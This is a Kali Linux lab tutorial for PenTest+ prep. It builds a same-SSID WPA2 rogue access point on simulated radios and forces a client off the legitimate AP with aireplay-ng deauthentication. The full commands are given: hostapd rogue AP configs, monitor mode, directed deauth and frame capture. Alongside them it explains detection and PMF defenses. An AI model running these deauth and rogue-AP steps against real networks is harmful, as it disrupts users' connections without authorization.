WPA2 WiFi Honeypot: Rogue AP and Deauthentication Testing

Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package hostapd 2:2.10-25+b2, aircrack-ng 1:1.7+git20230807.4bf83f1a-3, wpasupplicant 2:2.10-25+b2, iw 6.17-1
Lab environment Pentest lab
Cert prep CompTIA PenTest+ PT0-003: rogue AP behavior, deauthentication, and client reassociation
Privilege sudo for module load, hostapd, monitor mode, and injection tests
Scope Same-SSID WPA2 honeypot with known lab PSK, directed deauth, and BSSID A→B reassociation. Not captive portals, not offline PSK cracking, not open evil-twin phishing pages.
Related guides Install airmon-ng on Kali
Short on time?Beta Get the gist of this 11-minute read in seconds, then ask follow-up questions

A WPA2-Personal client does not transmit its Wi-Fi password to an access point. Building a same-named AP does not let you "capture the WPA2 password."

In this article, "honeypot" means a controlled WPA2 rogue AP used to observe client association and reassociation. It is not a password-harvesting portal.

Both APs intentionally use a known test PSK so reassociation is deterministic. That is a lab design choice, not proof that a real attacker already knows the target PSK. Physical hardware adds RF, channel, regulatory, driver, and PMF behavior that mac80211_hwsim does not model. The steps below stay on software radios so you can reproduce the same SSID different BSSID story cleanly.

IMPORTANT
Run these steps only on networks you own or are authorized to test. Keep the lab on simulated radios or a dedicated lab SSID. Unauthorized wireless attacks are illegal. See rules of engagement.

What is a WPA2 WiFi honeypot?

Term Focus
Honeypot (this page) Controlled rogue AP for association / reassociation observation
Rogue AP Unauthorized AP in an environment
Evil twin Rogue AP impersonating a network path (often with portal / DHCP control)

These overlap. They are not synonyms. Captive portals live on the evil twin guide. Offline handshake cracking lives on the WPA handshake guide.


SSID vs BSSID and what WPA2 does not reveal

Field Meaning
SSID Human-readable network name
BSSID Specific AP / radio MAC
text
SSID: GLC-Corp

  BSSID A (02:00:00:00:00:00)  →  legitimate AP (wlan0)
  BSSID B (02:00:00:00:03:00)  →  honeypot AP (wlan3)

Both advertise GLC-Corp. The client's associated BSSID tells you which radio it actually joined.

The client proves knowledge of PSK-derived key material. The PSK itself is not sent as plaintext. A rogue WPA2 AP without the correct PSK cannot simply impersonate the secured network and learn the client's passphrase from a normal successful association.


Build the two-AP software lab

This WiFi honeypot Kali Linux lab uses four mac80211_hwsim radios so you can run a legitimate AP, a victim, a monitor interface, and the honeypot at once.

Create the working directory:

bash
mkdir -p ~/wpa2-honeypot-lab/{logs,captures}

Load four simulated radios:

bash
sudo modprobe mac80211_hwsim radios=4

Keep NetworkManager off those interfaces:

bash
for i in wlan0 wlan1 wlan2 wlan3; do sudo nmcli device set "$i" managed no; done

Map them like this:

  • wlan0: legitimate WPA2 AP
  • wlan1: victim (wpa_supplicant)
  • wlan2: monitor / injection
  • wlan3: WPA2 honeypot / rogue AP

Both APs use the same SSID, same WPA2 settings, and the same known lab PSK. BSSIDs differ. Clients may weigh saved profiles, security compatibility, signal, and roaming logic; do not assume "strongest signal always wins." On hwsim, pin the BSSID when you need a deterministic before/after story.


Start the legitimate WPA2 AP

Write the config file:

bash
cat > ~/wpa2-honeypot-lab/hostapd-legit.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=GLC-Corp
hw_mode=g
channel=6
wpa=2
wpa_passphrase=GLCwifi2026
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF

Bring the AP interface up:

bash
sudo ip link set wlan0 up

Start hostapd in the background:

bash
sudo hostapd -B ~/wpa2-honeypot-lab/hostapd-legit.conf

Confirm BSSID A:

bash
iw dev wlan0 info | grep -E 'addr|ssid|type|channel'
output
	addr 02:00:00:00:00:00
	ssid GLC-Corp
	type AP
	channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHz

Pin the victim to BSSID A for a clean baseline (without bssid=, hwsim may pick either AP):

bash
cat > ~/wpa2-honeypot-lab/wpa-victim-a.conf <<'EOF'
ctrl_interface=/var/run/wpa_supplicant
network={
    ssid="GLC-Corp"
    psk="GLCwifi2026"
    key_mgmt=WPA-PSK
    proto=RSN
    pairwise=CCMP
    bssid=02:00:00:00:00:00
}
EOF

Bring the client interface up:

bash
sudo ip link set wlan1 up

Start the client profile:

bash
sudo wpa_supplicant -B -i wlan1 -c ~/wpa2-honeypot-lab/wpa-victim-a.conf -f ~/wpa2-honeypot-lab/logs/wpa-a.log

Confirm association status:

bash
wpa_cli -i wlan1 status | grep -E 'bssid|ssid|key_mgmt|wpa_state'
output
bssid=02:00:00:00:00:00
ssid=GLC-Corp
key_mgmt=WPA2-PSK
wpa_state=COMPLETED

Start the WPA2 honeypot AP

Write the honeypot config (same SSID and known lab PSK, different interface/BSSID):

bash
cat > ~/wpa2-honeypot-lab/hostapd-honeypot.conf <<'EOF'
interface=wlan3
driver=nl80211
ssid=GLC-Corp
hw_mode=g
channel=6
wpa=2
wpa_passphrase=GLCwifi2026
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF

Bring the honeypot interface up:

bash
sudo ip link set wlan3 up

Start hostapd in the background:

bash
sudo hostapd -B ~/wpa2-honeypot-lab/hostapd-honeypot.conf

Confirm BSSID B:

bash
iw dev wlan3 info | grep -E 'addr|ssid|type|channel'
output
	addr 02:00:00:00:03:00
	ssid GLC-Corp
	type AP
	channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHz

Put the attacker radio in monitor mode and prove both BSSIDs advertise the same WPA2 ESSID:

bash
sudo ip link set wlan2 down

Switch that interface to monitor type:

bash
sudo iw dev wlan2 set type monitor

Bring the monitor interface back up:

bash
sudo ip link set wlan2 up

Lock the monitor radio to channel 6 with the APs:

bash
sudo iw dev wlan2 set channel 6

Scan briefly and write a CSV summary:

bash
sudo timeout 6 airodump-ng --band bg -c 6 -w ~/wpa2-honeypot-lab/captures/airodump-both --output-format csv wlan2

Inspect the first rows of that CSV:

bash
head -5 ~/wpa2-honeypot-lab/captures/airodump-both-01.csv
output
BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
02:00:00:00:00:00, 2026-09-05 00:29:27, 2026-09-05 00:29:33,  6,  54, WPA2, CCMP, PSK, -18,       59,        0,   0.  0.  0.  0,   8, GLC-Corp,
02:00:00:00:03:00, 2026-09-05 00:29:27, 2026-09-05 00:29:33,  6,  54, WPA2, CCMP, PSK, -18,       59,        0,   0.  0.  0.  0,   8, GLC-Corp,

Observe the baseline association

Before deauth, record which AP holds the station:

bash
sudo iw dev wlan0 station dump | head -4
output
Station 02:00:00:00:01:00 (on wlan0)
	authorized:	yes
	authenticated:	yes
	associated:	yes

Confirm the honeypot still has no station:

bash
sudo iw dev wlan3 station dump | head -2

No station on BSSID B yet. Client: SSID GLC-Corp, BSSID A.


Perform and verify directed deauthentication

A deauthentication attack against WPA2 works by sending a management frame that ends the authenticated relationship between station and AP. Traditional 802.11 management frames often lacked cryptographic protection, so forged deauth was possible where Protected Management Frames are not required. Deauth is protocol-level management-frame abuse, not RF jamming. It does not by itself force the client onto the honeypot BSSID.

Target only the lab relationship:

bash
sudo aireplay-ng -0 3 -a 02:00:00:00:00:00 -c 02:00:00:00:01:00 wlan2
output
00:29:33  Waiting for beacon frame (BSSID: 02:00:00:00:00:00) on channel 6
00:29:34  Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]
00:29:34  Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]
00:29:35  Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]

In this mac80211_hwsim run, the 0 ACKs counter did not reflect the observed disconnect, so do not use it alone as the success criterion. Verify the client log or captured management frames. On physical hardware, ACK counts remain useful injection feedback.

Use the client-side disconnect lines:

bash
grep CTRL-EVENT-DISCONNECTED ~/wpa2-honeypot-lab/logs/wpa-a.log | tail -3
output
wlan1: CTRL-EVENT-DISCONNECTED bssid=02:00:00:00:00:00 reason=7
wlan1: CTRL-EVENT-DISCONNECTED bssid=02:00:00:00:00:00 reason=7
wlan1: CTRL-EVENT-DISCONNECTED bssid=02:00:00:00:00:00 reason=7

reason=7 is the reason code reported by the client for the disconnect generated in this test.

Capture management frames on the monitor interface while you inject (optional but stronger evidence than aireplay-ng banners alone):

bash
sudo timeout 12 tcpdump -i wlan2 -n -s 0 -w ~/wpa2-honeypot-lab/captures/deauth-mgmt.pcap

In another Terminal, run the same directed deauth while that capture is open. Then list deauthentication frames:

bash
tshark -r ~/wpa2-honeypot-lab/captures/deauth-mgmt.pcap -Y 'wlan.fc.type_subtype == 0x000c' -T fields -e frame.number -e wlan.sa -e wlan.da -e wlan.bssid -e wlan.fixed.reason_code
output
65	02:00:00:00:00:00	02:00:00:00:01:00	02:00:00:00:00:00	0x0007
66	02:00:00:00:00:00	02:00:00:00:01:00	02:00:00:00:00:00	0x0007
67	02:00:00:00:01:00	02:00:00:00:00:00	02:00:00:00:00:00	0x0007
68	02:00:00:00:01:00	02:00:00:00:00:00	02:00:00:00:00:00	0x0007

In Wireshark GUI, open the same .pcap and filter wlan.fc.type_subtype == 0x000c. Skip a full EAPOL cracking dive here; that belongs on the handshake article.


Observe reassociation from BSSID A to B

After disconnect, a client might return to BSSID A or move to another compatible AP. This lab uses a deliberate wpa_supplicant reassociation to BSSID B after deauth rather than pretending the client automatically roamed there.

Write a profile that targets the honeypot BSSID (same known lab PSK):

bash
cat > ~/wpa2-honeypot-lab/wpa-victim-b.conf <<'EOF'
ctrl_interface=/var/run/wpa_supplicant
network={
    ssid="GLC-Corp"
    psk="GLCwifi2026"
    key_mgmt=WPA-PSK
    proto=RSN
    pairwise=CCMP
    bssid=02:00:00:00:03:00
}
EOF

Stop the running wlan1 client process first (removing the control socket alone does not kill wpa_supplicant):

bash
sudo kill $(pgrep -n -f 'wpa_supplicant -B -i wlan1') 2>/dev/null || true

Then remove a stale control socket if one remains:

bash
sudo rm -f /var/run/wpa_supplicant/wlan1

Start the BSSID B profile:

bash
sudo wpa_supplicant -B -i wlan1 -c ~/wpa2-honeypot-lab/wpa-victim-b.conf -f ~/wpa2-honeypot-lab/logs/wpa-b.log

Confirm association status:

bash
wpa_cli -i wlan1 status | grep -E 'bssid|ssid|key_mgmt|wpa_state'
output
bssid=02:00:00:00:03:00
ssid=GLC-Corp
key_mgmt=WPA2-PSK
wpa_state=COMPLETED

Confirm the honeypot AP now lists the station:

bash
sudo iw dev wlan3 station dump | head -4
output
Station 02:00:00:00:01:00 (on wlan3)
	authorized:	yes
	authenticated:	yes
	associated:	yes

Before: SSID GLC-Corp, BSSID A. After: same SSID, BSSID B. The network name stayed identical while the actual AP changed. Deauth only ended the old association; the next BSSID was selected deliberately.


What the honeypot can observe

Once the controlled client associates successfully, the honeypot AP can log station MAC, association events, WPA authentication state, and any DHCP or traffic you intentionally route through it.

It does not obtain the WPA2 PSK simply because the client associated. The client already knew the lab PSK; the AP verified derived key material.


WPA2 honeypot vs evil twin vs handshake cracking

Article Owns
This page Same-security WPA2 rogue AP, SSID vs BSSID, deauth, reassociation

Kali also packages wifi-honey (package description: Wi-Fi honeypot). This article uses hostapd directly because the manual two-AP setup makes the SSID/BSSID, WPA2, deauthentication, and reassociation behavior easier to inspect and reproduce.


Why deauthentication may fail

Problem What to check
Wrong channel / interface Monitor radio must match the target channel
Wrong station or BSSID Directed frame must name the real relationship
Adapter cannot inject Hardware/driver limit; keep learning on hwsim
Client reconnects immediately Deauth may have worked; verify logs and management frames
Protected Management Frames (802.11w) PMF can protect relevant management traffic when enabled or required
WPA3 / modern defaults Do not assume classic WPA2 lab behavior
hwsim vs physical roaming Simulation proves protocol events, not every RF decision

Do not teach "deauth always works against WPA2."


Detect rogue AP and deauth behavior

Rogue access point detection for this scenario looks for bursts of deauthentication or disassociation frames, unexpected BSSID changes for a saved network, duplicate SSID advertisements outside inventory, unexpected security settings, WIDS/WIPS alerts, and client connection logs.

Multiple BSSIDs for one SSID are normal in enterprise Wi-Fi. The anomaly is not "the same SSID exists twice." You need authorized inventory, security baseline, and context.


Test checklist

Field Value
Legitimate SSID
Legitimate BSSID
Honeypot BSSID
Security
PSK source (lab known / engagement known)
Victim
Initial BSSID
Deauth observed
Disconnect logged
Reassociation BSSID
Honeypot association logged
DHCP/IP observed
Traffic observed
PMF
Result

Common problems

Symptom Likely cause Fix
Client lands on honeypot first Same SSID, no BSSID pin Set bssid= in wpa_supplicant for deterministic labs
Deauth with no disconnect log Wrong iface/channel/STA Confirm monitor channel and MACs; verify client logs/frame capture rather than judging the hwsim result from ACK count alone
Stale wpa_supplicant after profile switch Process still running Kill the wlan1 process, then remove /var/run/wpa_supplicant/wlan1 if needed
SSID-TEMP-DISABLED after deauth Client backoff after failed reconnect Wait for timeout or restart the client profile
Expecting PSK in honeypot logs Misunderstanding WPA2 Association does not reveal the passphrase

Summary

A WPA2 WiFi honeypot on this page is a controlled second AP that shares an SSID and known lab PSK so you can watch association move from BSSID A to BSSID B. The passphrase does not cross the air as plaintext, and a successful association does not hand the PSK to the rogue AP.

Directed deauth creates a disconnect opportunity. Verify it with client logs or captured management frames; on hwsim, do not judge success from ACK count alone. Pinning BSSIDs keeps the before/after evidence honest. Use the evil-twin guide for portals and path control, and the handshake guide for offline candidate testing.


References


Frequently Asked Questions

Can two Wi-Fi access points use the same SSID?

Yes. Enterprises do it routinely. Each radio still has its own BSSID. Same name does not mean same AP.

Does a fake WPA2 AP capture the Wi-Fi password when a client connects?

No. WPA2-Personal does not send the PSK as plaintext during association. The client proves knowledge of derived key material.

Does deauth force a client onto a rogue AP?

No. Deauth only ends the current association. The next AP depends on profiles, availability, security settings, and client logic. This lab pins BSSID B on purpose after disconnect.

Why is deauth not working?

Common causes include wrong channel, wrong BSSID/station, no injection support, immediate silent reconnect, or Protected Management Frames. On hwsim, confirm the client log or frame capture instead of judging from ACK count alone.

Is a WPA2 honeypot the same as an evil twin?

Not on this site. This honeypot page owns same-security reassociation behavior. The evil twin page owns look-alike path control and captive portals.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Deepak Prasad

R&D Engineer

Founder of GoLinuxCloud with 15+ years of expertise in Linux, Python, Go, Laravel, DevOps, Kubernetes, Git, Shell scripting, OpenShift, AWS, Networking, and Security. With extensive experience, he excels across development, DevOps, networking, and security, delivering robust and efficient solutions for diverse projects.

  • Go (programming language)
  • Python (programming language)
  • DevOps
  • Computer Security
  • Cloud Computing
  • Kubernetes
  • Linux
  • Ansible (software)